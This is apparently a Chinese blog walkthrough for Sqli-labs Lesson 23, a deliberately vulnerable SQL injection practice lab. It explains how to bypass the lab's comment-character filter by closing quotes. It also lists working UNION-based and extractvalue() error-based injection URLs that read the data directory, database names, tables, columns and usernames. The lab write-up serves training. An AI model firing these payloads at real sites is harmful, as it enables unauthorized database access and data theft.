Sqli-labs less 23

第二部分/page-2 Advanced injection

Less-23

Sql语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";此处主要是在获取id参数时进行了#,--注释符号的过滤。

Solution:

http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@@datadir,%273

此处的sql语句为

SELECT * FROM users WHERE id='-1' union select 1,@@datadir,'3' limit 0,1

Explain:此处讲解几个知识点:

  1. id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。
  2. -1' union select 1,@@datadir,'3,第一个'(单引号)闭合-1,第二个'(单引号)闭合后面的。这样将查询内容显示在username处。
  3. 此处可以报错注入,延时注入,可以利用or '1'='1进行闭合。http://127.0.0.1/sqllib/Less-23/index.php?id=1%27or%20extractvalue%281,concat%280x7e,database%28%29%29%29%20or%20%271%27=%271

    以上这条语句就是利用extractvalue()进行报错注入。

     

    将@@datadir修改为其他的选择内容或者是内嵌的select语句。以下用联合注入方法进行注入。

    •获取数据库

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

    此处获取的数据库为security

    •查看security库数据表

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

    •查看users表的所有列

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3

    •获取内容

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3

     

posted @ 2016-08-11 22:34  lcamry  阅读(1501)  评论(0编辑  收藏  举报